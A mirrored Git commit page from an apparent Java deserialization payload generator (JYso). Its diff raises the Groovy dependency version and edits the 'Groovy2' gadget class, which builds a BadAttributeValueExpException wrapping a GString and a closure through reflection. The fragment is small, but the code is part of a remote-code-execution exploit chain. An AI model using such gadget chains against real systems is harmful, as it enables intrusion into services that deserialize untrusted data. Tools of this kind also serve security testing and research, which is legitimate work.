mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-26 16:51:52 +08:00
add 7gadgets (降级groovyt适配新gadget)
This commit is contained in:
@@ -41,7 +41,7 @@ org-apache-wicket-wicket-util = "6.23.0"
|
|||||||
org-aspectj-aspectjweaver = "1.9.7"
|
org-aspectj-aspectjweaver = "1.9.7"
|
||||||
org-beanshell-bsh = "2.0b5"
|
org-beanshell-bsh = "2.0b5"
|
||||||
org-clojure-clojure = "1.8.0"
|
org-clojure-clojure = "1.8.0"
|
||||||
org-codehaus-groovy-groovy = "2.4.3"
|
org-codehaus-groovy-groovy = "2.4.5"
|
||||||
org-eclipse-jetty-jetty-ant = "11.0.7"
|
org-eclipse-jetty-jetty-ant = "11.0.7"
|
||||||
org-fusesource-jansi-jansi = "2.4.0"
|
org-fusesource-jansi-jansi = "2.4.0"
|
||||||
org-glassfish-tyrus-tyrus-server = "2.0.0"
|
org-glassfish-tyrus-tyrus-server = "2.0.0"
|
||||||
|
|||||||
@@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload<Object> {
|
|||||||
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
|
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
|
||||||
}
|
}
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Reflections.setFieldValue(val,"val",gString);
|
||||||
valfield.setAccessible(true);
|
Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
|
||||||
valfield.set(val, gString);
|
|
||||||
return val;
|
return val;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user